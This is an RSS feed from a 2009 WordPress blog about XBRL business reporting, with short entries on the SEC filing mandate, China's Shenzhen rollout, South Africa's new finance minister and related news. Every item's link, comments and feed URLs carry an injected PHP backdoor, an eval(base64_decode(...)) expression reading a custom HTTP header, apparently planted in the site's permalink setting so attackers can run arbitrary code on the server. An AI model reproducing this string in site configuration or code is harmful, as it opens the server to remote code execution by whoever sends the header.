<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Ince XBRL Blog</title>
	<atom:link href="http://xbrl.investorportal.co.za/feed/" rel="self" type="application/rss+xml" />
	<link>http://xbrl.investorportal.co.za</link>
	<description>XBRL bog site</description>
	<pubDate>Thu, 28 May 2009 16:39:14 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>XBRL - the what, why, and who &#124; O&#8217;Reilly Webcast</title>
		<link>http://xbrl.investorportal.co.za/2009/05/28/xbrl-the-what-why-and-who-oreilly-webcast/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/05/28/xbrl-the-what-why-and-who-oreilly-webcast/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 28 May 2009 16:39:14 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=98</guid>
		<description><![CDATA[Another good resource on what XBRL is, from the founder Charlie Hoffman in an O&#8217;Reilly webcast.

]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/05/28/xbrl-the-what-why-and-who-oreilly-webcast/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>All a matter of semantics</title>
		<link>http://xbrl.investorportal.co.za/2009/05/22/all-a-matter-of-semantics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/05/22/all-a-matter-of-semantics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 22 May 2009 20:23:49 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=93</guid>
		<description><![CDATA[The Semantic Web is a concept of billions of web pages having intrinsic structure, sense and ability for machines to create knowledge from them. Currently services like Google can match the text you&#8217;re looking for with the text on its servers. But can it add, translate, merge and collate this information?
XBRL is financial data organised [...]]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/05/22/all-a-matter-of-semantics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XBRL to help with transparency in US bailout</title>
		<link>http://xbrl.investorportal.co.za/2009/05/18/xbrl-to-help-with-transparency-in-us-bailout/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/05/18/xbrl-to-help-with-transparency-in-us-bailout/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 May 2009 14:32:12 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=89</guid>
		<description><![CDATA[
]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/05/18/xbrl-to-help-with-transparency-in-us-bailout/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Pravin Gordhan inherits the Financial Ministry</title>
		<link>http://xbrl.investorportal.co.za/2009/05/10/pravin-gordhan-inherits-the-financial-ministry/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/05/10/pravin-gordhan-inherits-the-financial-ministry/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 10 May 2009 17:04:10 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[XBRL]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=86</guid>
		<description><![CDATA[A few minutes ago the announcement was made that Pravin Gordhan, current Commissioner for SARS, has been handed the position of Finance Minister. Current minister, Trevor Manuel, moves on to run a new economic planning commission.
Gordhan has spoken at XBRL events in South Africa, and believes the standard will be an accepted mode of business [...]]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/05/10/pravin-gordhan-inherits-the-financial-ministry/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XBRL goes to US Congress</title>
		<link>http://xbrl.investorportal.co.za/2009/03/12/xbrl-goes-to-us-congress/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/03/12/xbrl-goes-to-us-congress/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 05:13:15 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=76</guid>
		<description><![CDATA[This press release from XBRL US - the governing body of XBRL in the United States. Please go to the site to download the testimony and other related documentation:
XBRL US Testifies to Domestic Policy Subcommittee of the Oversight and Government Reform Committee 
Reports technology standard is real, ready and relevant in current financial crisis
March 11, 2009, [...]]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/03/12/xbrl-goes-to-us-congress/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XBRL in 60 seconds</title>
		<link>http://xbrl.investorportal.co.za/2009/03/03/xbrl-in-60-seconds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/03/03/xbrl-in-60-seconds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 14:53:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[analysis]]></category>

		<category><![CDATA[business]]></category>

		<category><![CDATA[filing]]></category>

		<category><![CDATA[financial]]></category>

		<category><![CDATA[quick]]></category>

		<category><![CDATA[semantic]]></category>

		<category><![CDATA[standard]]></category>

		<category><![CDATA[taxonomies]]></category>

		<category><![CDATA[transparent]]></category>

		<category><![CDATA[XBRL]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=74</guid>
		<description><![CDATA[XBRL (eXtensible Business Reporting Language) is a standard of assigning semantic concepts to financial or business reports.]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/03/03/xbrl-in-60-seconds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Japan explains XBRL through Manga cartoons</title>
		<link>http://xbrl.investorportal.co.za/2009/02/20/japan-explains-xbrl-through-manga-cartoons/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/02/20/japan-explains-xbrl-through-manga-cartoons/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 05:45:08 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[Japan]]></category>

		<category><![CDATA[JICPA]]></category>

		<category><![CDATA[manga cartoons]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=57</guid>
		<description><![CDATA[
Found via Dianne Mueller and sure to become an internet meme. Explaining an accounting process need not be dry when you see these cartoons (click on the image). Sure to give the Plain English versions a run for their money.
From JICPA, the Japanese Institute of Certified Public Accountants.
]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/02/20/japan-explains-xbrl-through-manga-cartoons/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>China rolls out XBRL for its Shenzhen-listed companies</title>
		<link>http://xbrl.investorportal.co.za/2009/02/18/china-rolls-out-xbrl-for-its-shenzhen-listed-companies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/02/18/china-rolls-out-xbrl-for-its-shenzhen-listed-companies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Feb 2009 17:15:56 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[exchange]]></category>

		<category><![CDATA[investors]]></category>

		<category><![CDATA[listed companies]]></category>

		<category><![CDATA[securities]]></category>

		<category><![CDATA[Shenzhen]]></category>

		<category><![CDATA[standard]]></category>

		<category><![CDATA[stock]]></category>

		<category><![CDATA[XBRL]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=53</guid>
		<description><![CDATA[
From the Shenzhen Stock Exchange:
The Shenzhen Stock Exchange (SZSE) rolled out the XBRL information service platform for listed companies recently.
The platform, optimized and upgraded on the basis of the XBRL trial application website, was launched when listed companies started to unveil their annual reports for 2008.
The platform (http://www.szse.cn or http://xbrl.cninfo.com.cn/XBRL/index.jsp), serves small and medium investors, was [...]]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/02/18/china-rolls-out-xbrl-for-its-shenzhen-listed-companies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The SEC XBRL ruling and IFRS</title>
		<link>http://xbrl.investorportal.co.za/2009/02/03/the-sec-xbrl-ruling-and-ifrs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/02/03/the-sec-xbrl-ruling-and-ifrs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 18:07:01 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[EDGAR]]></category>

		<category><![CDATA[filing]]></category>

		<category><![CDATA[foreign]]></category>

		<category><![CDATA[GAAP]]></category>

		<category><![CDATA[IASB]]></category>

		<category><![CDATA[IFRS]]></category>

		<category><![CDATA[SEC]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=50</guid>
		<description><![CDATA[
Last week the SEC formally published the XBRL mandate. While they released it in mid-December 2008, this was total ratification. Sound weird? Think of it just as  Barack Obama re-taking the oath of office after some minor fluffs  
Of more interest to me is the ruling for non-US companies listed on the US markets. They file [...]]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/02/03/the-sec-xbrl-ruling-and-ifrs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SEC announces XBRL mandate: all systems go!</title>
		<link>http://xbrl.investorportal.co.za/2009/01/16/sec-announces-xbrl-mandate-all-systems-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://xbrl.investorportal.co.za/2009/01/16/sec-announces-xbrl-mandate-all-systems-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 18:40:47 +0000</pubDate>
		<dc:creator>derek</dc:creator>
		
		<category><![CDATA[Blog]]></category>

		<category><![CDATA[EDGAR]]></category>

		<category><![CDATA[IDEA]]></category>

		<category><![CDATA[market]]></category>

		<category><![CDATA[SAP]]></category>

		<category><![CDATA[SEC]]></category>

		<category><![CDATA[taxonomies]]></category>

		<category><![CDATA[vendors]]></category>

		<category><![CDATA[XBRL]]></category>

		<guid isPermaLink="false">http://xbrl.investorportal.co.za/?p=3</guid>
		<description><![CDATA[It&#8217;s here: the mandate for XBRL to become an official filing process, alongside EDGAR, for listed companies in the US. 
The SEC announced this in a long-awaited roundtable today, 17 December 2008.  The IDEA system was launched today too. This has followed on the completion of the US GAAP taxonomies.

Immediate impact: 
Companies that are [...]]]></description>
		<wfw:commentRss>http://xbrl.investorportal.co.za/2009/01/16/sec-announces-xbrl-mandate-all-systems-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

